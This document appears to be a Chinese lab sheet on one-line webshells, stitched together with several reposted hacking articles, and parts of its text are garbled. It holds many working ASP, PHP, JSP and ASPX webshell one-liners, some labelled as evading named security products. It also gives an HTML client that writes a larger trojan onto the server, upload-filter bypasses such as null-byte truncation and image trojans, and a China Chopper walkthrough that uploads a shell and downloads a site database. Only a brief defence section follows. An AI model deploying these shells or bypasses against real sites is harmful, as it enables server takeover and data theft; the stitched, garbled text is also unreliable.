L003001041-一句话木马测试分析
- 格式:doc
- 大小:867.00 KB
- 文档页数:23
全面详尽剖析一句话asp木马所谓一句话插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。
它分为一句话asp马、一句话php马……,本文就一句话asp木马来做一次详尽的剖析。
在此首先要感谢前辈们的探究!一:基础篇首先我们看一下最常用的一句话木马客户端的代码<html><head><title>一句话客户端</title><style type="text/css"><!--body {background-color: #FFFFFF;}.lygf {border: 1px solid #660069;font-size: 12px;}--></style></head><body><table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0"><tr><td height="1" width="794"><form name="lygf" method="post"><input name="add" type="text" id="add" size="97" value="http://"><input type="submit" value="枫" onClick="this.form.action=this.form.add.value;"><input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")"></td></tr><tr><td height="100" width="794"><textarea name="*" cols="100" rows="9" width="45">set lP=server.createObject("Adodb.Stream")lP.OpenlP.Type=2lP.CharSet="gb2312"lP.writetext request("lygf")lP.SaveToFile server.mappath("fk.asp"),2lP.Closeset lP=nothingresponse.redirect "fk.asp"</textarea></td></tr><tr><td height="1" width="794"><textarea name="lygf" cols="100" rows="15" width="45">写入你的大马</textarea></td></tr><tr><td width="794" height="7"><font color="#000000">提供六个服务端:</font><br>1. <%eval request("fk")%><br>2. <%execute request("fk")%><br>3. <%execute(request("fk"))%><br>4. <%On Error Resume Next%><%eval request("fk")%><br>5. <script language=VBScript runat=server>execute request("fk")</Script> <br>6. <script language=VBScript runat=server>eval request("fk")</Script><br><br>By 冷月孤枫枫客:/ ... t;/font><br></td></tr></table></body></html>把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):<title>一句话客户端</title> 显示在浏览器标题栏上面的文字,你可以自己更改<style type="text/css"><!--body {background-color: #FFFFFF; 背景颜色}.lygf {border: 1px solid #660099; 边框属性font-size: 12px; 字体大小}--> 本页面所要用到的样式<form name="lygf" method=post> 创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS 是不记入日志的<input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add),长度是97个字节,value=是默认的内容<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit),后面的部分是把上面value的值赋给form去post<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域,把fk与下面name的值*关联,用session保存代码然后执行,这句借用了海洋的客户端,不过那样不怎么好用<textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。
常见ASP一句话木马分析及防御作者:罗婷罗芳来源:《电子技术与软件工程》2013年第22期摘要什么是一句话木马?一句话木马本身并不是任何黑客程序,只是在很多网站上都会使用到的普通代码。
一句话木马只是网络攻击当中的一个小块,但通过对其防御可以大大减少相关的攻击。
【关键词】木马分析木马防御很多制作网站的朋友经常会听到一句话:“我的网站又被一句话木马入侵了。
”但什么是一句话木马?一句话木马本身并不是任何黑客程序,只是在很多网站上都会使用到的普通代码。
但这个代码会给网站打开一个缺口,通过这个缺口黑客可以将真正的木马,也就是通常所说的“大马”注入到网站服务器当中。
“大马”注入到网站服务器后,可通过控制整个网站的所有的源代码,其中程序修改或删除网站的其它内容。
如果一不小心注入的是网站服务器,那么影响的就不是一个网站,而是整个网站服务器上的所有网站。
黑客通常通过google网站查找到全部ASP类型的网站。
然后,在留言板或文章发表区域等可以将内容上传到服务器上的地方输入一句话木马。
也就是想办法将一句话木马程序代码添加到网站的后台数据库。
目前在当下黑客经常使用的ASP一句话木马主要有下面几种:(1)<% execute(request("value")) %>(2)<% execute request("value") %>(3)<% eval request("value ") %>(4)<% eval request(value) %>通过语法变形后还有下列几种:(1)<% If Request("value")<>"" Then Execute(Request("value"))%>(2)(3)<% eval(Request.Item["value"],"unsafe");%>如果再继续完善后,甚至可以绕过网站漏洞筛查程序,在这里不作说明。
各种⼀句话⽊马⼤全<%eval request("c")%><%execute request("c")%><%execute(request("c"))%><%ExecuteGlobal request("sb")%>%><%Eval(Request(chr(35)))%><%<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%><%eval(Request.Item["c"],"unsafe");%>'备份专⽤<%eval(request("c")):response.end%>'⽆防下载表,有防下载表突破专⽤⼀句话<%execute request("c")%><%<%loop<%:%><%<%loop<%:%><%execute request("c")%><%execute request("c")<%loop<%:%>'防杀防扫专⽤<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>'不⽤"<,>"<script language=VBScript runat=server>execute request("c")</script><% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我⼀声⽼⼤'};lcx.性别((lcx.名字)+'') %><script language=vbs runat=server>eval(request("c"))</script><script language=vbs runat=server>eval_r(request("c"))</script>'不⽤双引号<%eval request(chr(35))%>'可以躲过雷客图<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") nguage="VBScript"ms.AddObject"response",response ms.AddObject"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%><%dy=request("dy")%><%Eval(dy)%>'容错代码if Request("sb")<>"" then ExecuteGlobal request("sb") end ifPHP⼀句话复制代码代码如下:<?php eval($_POST1);?><?php if(isset($_POST['c'])){eval($_POST['c']);}?><?php system($_REQUEST1);?><?php ($_=@$_GET1).@$_($_POST1)?><?php eval_r($_POST1)?><?php @eval_r($_POST1)?>//容错代码<?php assert($_POST1);?>//使⽤Lanker⼀句话客户端的专家模式执⾏相关的PHP语句<?$_POST['c']($_POST['cc']);?><?$_POST['c']($_POST['cc'],$_POST['cc'])?><?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使⽤这个后,使⽤菜⼑⼀句话客户端在配置连接的时候在"配置"⼀栏输⼊*/:<O>h=@eval_r($_POST1);</O><?php echo `$_GET['r']` ?>//绕过<?限制的⼀句话<script language="php">@eval_r($_POST[sb])</script>JSP⼀句话复制代码代码如下:<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>提交客户端<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>ASPX⼀句话<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 再补充⼏个:推荐还是把⼀句话加进图⽚⾥⾯去。
⼀句话⽊马记录1、asp⼀句话⽊马:<%eval request(“x”)%>2、php⼀句话⽊马:<?php eval($_POST[g]);?>3、aspx⼀句话:<%@ Page Language=”Jscript”%><%eval(Request.Item["x"],”unsafe”);%>4、数据库加密⼀句话(密码a):┼攠数畣整爠焕敌瑳∨≡┩忾5、⽹站配置、版权信息专⽤⼀句话:”%><%Eval Request(x)%>6、⼀句话再过护卫神:<%Y=request(“x”)%> <%execute(Y)%>7、过拦截⼀句话⽊马:<% eXEcGlOBaL ReQuEsT(“x”) %>8、asp闭合型⼀句话:%><%eval request(“0o1Znz1ow”)%><%9、能过安全狗的解析格式:;hfdjf.;dfd.;dfdfdfd.asp;sdsd.jpg http://www.toreadsafe.xyz10、突破安全狗的⼀句话:<%Y=request(“x”)%> <%eval(Y)%>11、elong过安全狗的php⼀句话:<?php $a = “a”.”s”.”s”.”e”.”r”.”t”; $a($_POST[cc]); ?>12、突破护卫神,保护盾⼀句话:<?php $a = str_replace(x,”",”axsxxsxexrxxt”);$a($_POST["test"]); ?>13、⾼强度php⼀句话:<?php substr(md5($_REQUEST['heroes']),28)==’acd0′&&eval($_REQUEST['c']);?>14、后台常⽤写⼊php⼀句话(密码x):<?$fp = @fopen(“c.php”, ‘a’);f@fwrite($fp, ‘<’.'?php’.”\r\n\r\n”.’eval($_POST[x])’.”\r\n\r\n?”.”>\r\n”);@fclose($fp);>15、许多⽹页程序都不允许包含〈%%〉标记符号的内容的⽂件上传,这样⼀句话⽊马就写⼊不进数据库了。
首先回顾一下以前ASP一句话的经典木马吧!<%if request("nonamed")<>"" then execute request("nonamed")%>VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP 一句话木马也有个版本是采用JSCRIPT的eval的!网上也有例子我就不多说了!.....然后解析语言终究发展成为中间代码例如java .net 动态执行也就不存在了!之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...如今ASPX中所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....同时Jscript 也一样转向高级版本 但是我们需要的eval函数还是生存下来的!script child有幸了...先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话JSP :<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParame ter("t").getBytes());%> 这个是我自己写的要弹要说,都是大家的呵呵!我不发言.....ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close() %> 这个不知道是谁的作品,感觉性质有点像我的JSP一句话了!不过还是把简单的shell实现了!支持ing....两个一句话大体都一样调用类把接收的都写到文件!简单说就是对文件写操作而已!~昔日ASP 一句话的光辉如今在中间语言的后门中给限制得荡然无存~~错!......ASPX C/S木马我们一样可以实现!因为有的存在!上面所说到的eval函数还生存着!~OK我们先来实现<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>这样?恩!可以拿去尝试了~ 保存为text.aspx 然后提交http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();打印出当前时间...Sat Aug 4 20:05:20 UTC+8 2007貌似OK了哦!呵呵我们再试http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");发现报告错误了!....(我就是因为卡在这里,所以折腾了几个月,不然这文章早出炉了!在这里感谢一下闇の術士QQ:4659675 欢迎大家找他学习...哈)错误原因{安全性异常说明: 应用程序试图执行安全策略不允许的操作。
一句话木马上传常见的几种方法1,利用00截断,brupsuite上传利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0X00上传截断漏洞。
假设文件的上传路径为 ,通过Burpsuite抓包截断将lubr.php后面的“.”换成“0X00”。
在上传的时候,当文件系统读到”0X00″时,会认为文件已经结束,从而将lubr.php.jpg 的内容写到lubr.php中,从而达到攻击的目的。
2,构造服务器端扩展名检测上传当浏览器将文件提交到服务器端的时候,服务器端会根据设定的黑名单对浏览器提交上来的文件扩展名进行检测,如果上传的文件扩展名不符合黑名单的限制,则不予上传,否则上传成功。
本例讲解,将一句话木马的文件名lubr.php改成lubr.php.abc。
首先,服务器验证文件扩展名的时候,验证的是.abc,只要改扩展名符合服务器端黑名单规则,即可上传。
另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即”.php”。
一句话木马可以被解析,即可通过中国菜刀连接。
3,绕过Content-Type检测文件类型上传当浏览器在上传文件到服务器端的时候,服务器对上传的文件Content-Type类型进行检测,如果是白名单允许的,则可以正常上传,否则上传失效。
绕过Content-Type文件类型检测,就是用Burpsuite 截取并修改数据包中文件的Content-Type类型,使其符合白名单的规则,达到上传的目的。
4,构造图片木马,绕过文件内容检测上传Shell一般文件内容验证使用getimeagesize()函数检测,会判断文件是否一个有效的文件图片,如果是,则允许上传,否则的话不允许上传。
制作图片木马: copy 1.jpg/b+2.php/a 3.jpg。
详解一句话木马的使用昨天有个朋友问我一句话怎么使用,没办法,今天帮忙给发个教程!做动画我是懒得做了,之前做的动画都是关系好点的朋友要求的,最近忙点就不做教程了。
大家将就着用吧,这次讲的是很详细的!尤其适用于那种刚入门的人学习,还要补充一点的是好些高手们在拿到Webshell后都不上传大马了,只是在ASP或者是PHP正常文件里插入一句话,在需要进行文件管理的时候使用对应的一句话客户端就可以登录了,登录后会建立一个大马的文件,退出的时候将大马文件删除,这样就更加隐蔽了,不过雷克图还是能查找出插入一句话的文件,教程中我会给大家讲解的,好了,开始教程吧!首先的说明的是前提是已经拿到Webshell,我们现在要做的只是后期的隐蔽工作!拿到Webshell后,进入文件管理界面,选择要插入一句话木马的文件,我是随机选的!打开选定的文件,插入一句话木马!保存完毕后,要记住这个时候的地址栏里的网址和刚才插入木马的文件名称!在下面我们要使用到这个地址。
我用的是空气的一句话客户端,将你插入木马的文件地址填入“插入一句话页面”,然后填写一句话的密码,点上传就转到了大马的登录界面!转到的Webshell页面登录后可以看到新建立的文件使用“雷克图”查找到的插入一句话的文件,如果是个粗心点的人的话说发现不了的,毕竟是混在正常代码里的!使用“雷克图”查找到的新建立的大马文件退出的时候删除新建立的文件,能减少多少留下的痕迹就减少多少吧!我们现在要做的就是记住插入一句话木马文件的地址和链接密码,用来以后进行文件管理!不过有点小的缺憾,在正常访问插入一句话木马的文件的时候,在页面的底部会显示错误!呵呵,也就是说我们以后遇到这种情况的时候,我们就能知道这个路径下的文件是插入一句话的,那我们可以做什么呢?使用一句话的默认密码来连接这个页面,会有意想不到的效果的,因为好多人在插入一句话的时候,不管是出于什么原因,是没有更改默认密码的意识。
一句话木马的原理及利用(asp,aspx,php,jsp)一句话木马的适用环境:1.服务器的来宾账户有写入权限2.已知数据库地址且数据库格式为asa或asp3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可一句话木马的工作原理:"一句话木马"服务端(本地的html提交文件)就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为<%execute request("value")%> 其中value可以自己修改"一句话木马"客户端(远程服务器上被插入一句话的asp文件)用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件现在先假设在远程主机的TEXT.ASP(客户端)中已经有了<%execute request("value")%>这个语句.)在ASP里<%execute ............")%>意思是执行省略号里的语句.那么如果我写进我们精心构造的语句,它也是会帮我们执行的.就按照这上面的思路,我们就可以在本地构造一个表单内容如下:(//为注释)<form action=http://主机路径/TEXT.asp method=post><textarea name=value cols=120 rows=10 width=45>set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp</textarea><textarea name=newvalue cols=120 rows=10 width=45>添入生成木马的内容</textarea><BR><center><br><input type=submit value=提交></form>表单的作用就是把我们表单里的内容提交到远程主机的TEXT.ASP这个文件.然后因为TEXT.ASP里有<%execute request("value")%>这句,那么这句代码就会执行我们从表单里传来的内容哦.(表单名必须和<%execute request("value")%>里的V ALUE一样,就是我用蓝色标记的那两处,必须相等)说到这里大家是不是清楚了.我们构造了两个表单,第一个表单里的代码是文件操作的代码(就是把第二个表单内的内容写入在当前目录下并命名为newvalue.ASP的这么一段操作的处理代码)那么第二个表单当然就是我们要写入的马了.具体的就是下面这一段:set lP=server.createObject("Adodb.Stream")//建立流对象lP.Open //打开lP.Type=2 //以文本方式lP.CharSet="gb2312" //字体标准lP.writetext request("newvalue")lP.SaveToFile server.mappath("newvalue.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式lP.Close //关闭对象set lP=nothing //释放对象response.redirect "newmm.asp" //转向newmm.asp这样的话第二个表单的名字必须和lP.writetext request("newvalue") 里的Newvalue一样,就是我用红色标注的那两处.至此只要服务器有写的权限你表单所提交的大马内容就会被写入到newmm.asp中。
课程编写
别内容
题名称L003001041-一句话木马测试分析
与要求熟悉一句话木马的原理,掌握一句话木马的使用以及防御方法
(虚拟PC)操作系统类型:windows server 2003和windows XP professional,网络接口:本地连接连接要求PC 网络接口,本地连接与实验网络直连
描述中国菜刀
环境描述1、学生机与实验室网络直连;
2、VPC1与实验室网络直连;
3、学生机与VPC1物理链路连通;
知识
黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request("value")%>
其中value是值,所以你可以更改自己的值,前面的request就是获取这个值
<%eval request("value")%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。
(不知道数据库也可以request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。
)
这就被称为一句话木马,它是基于B/S结构的。
内容理解该漏洞的实现过程
步骤
学生登录实验场景的操作
1、学生单击“网络拓扑”进入实验场景,单击windows2003中的“打开控制台”按钮,进入目标
我们把windows2003机器作为服务机(ip地址为192.168.1.154,不固定)
2、学生输入账号Administrator ,密码123456,登录到实验场景中的Windows server 2003,在该网站,并且能够正常访问。
如图所示:
3、学生输入账号Administrator ,密码123456,登录到实验场景中的Windows XP Professional。
4.打开windows 2003上的网站,我们通过名小子或者啊D获取到了后台地址(这两个工具的使用方法和啊Dsql注入实例),以及用户名和密码(均是admin),然后登陆进去。
如图所示:
5.然后看到左边有一个文件上传菜单,点击它。
如图所示:
6.接下来我们可以在本地创建一个包含有一个一句话木马的asp文件。
内容为“<%eval request("6"号里的6是咱们连接一句话的密码,密码也可以自行设置。
如图所示:
7.将刚才新建的文档,重命名为7.asp。
如图所示:
8.然后回到后台,单机浏览,选择刚才新建的7.asp文件。
如图所示:
9.点击打开后,进行上传,标题出写为8,并点击提交按钮。
如图所示:
10. 提交完成后,就可以看到7.asp的保存路径了。
如图所示:
11.然后我们在浏览器里进行访问。
如图所示:
12.此处一片空白,说明我们上传的木马上传成功并可以执行。
然后打开中国菜刀进行连接。
进入到打开chopper.exe。
如图所示:
13.默认情况下,中国菜刀自己会有几个示例。
我们右击空白处,选择添加。
如图所示:
14.把刚才访问asp文件的地址放进地址栏,右侧输入连接密码“6”。
下方默认类别不用改,脚本(Eval)类型,字符编码选择GB2312。
如图所示:
15.添加完毕后,我们右击该记录,然后选择文件管理。
如图所示:
16.接下来我们就会连接到刚才上传07.asp文件的目录。
如图所示:
17.我们可以进入网站根目录article,可以编辑任何文件,右击要编辑的文件。
如图所示:
18.会打开一个新的编辑框,编辑完后点击上方的保存按钮即可。
19.另外还可以进行上传下载文件,比如我们可以将测试网站的数据库article数据库下载下来。
右选择下载文件。
如图所示:
20.接下来选择要保存article.mdb的路径,保存到桌面上,然后点击保存。
21.接下来待会就可以看到article.mdb保存到桌面上了。
如图所示:
22.另外我们通过中国菜刀还可以看到其他盘符的内容。
23.关于此类攻击手段的防护措施:
23.1禁止上传脚本文件,并对上传文件夹的目录的执行脚本禁止掉。
23.2另外就是网站开发人员,对get和post提交的内容中的execute,eval等内容进行过滤。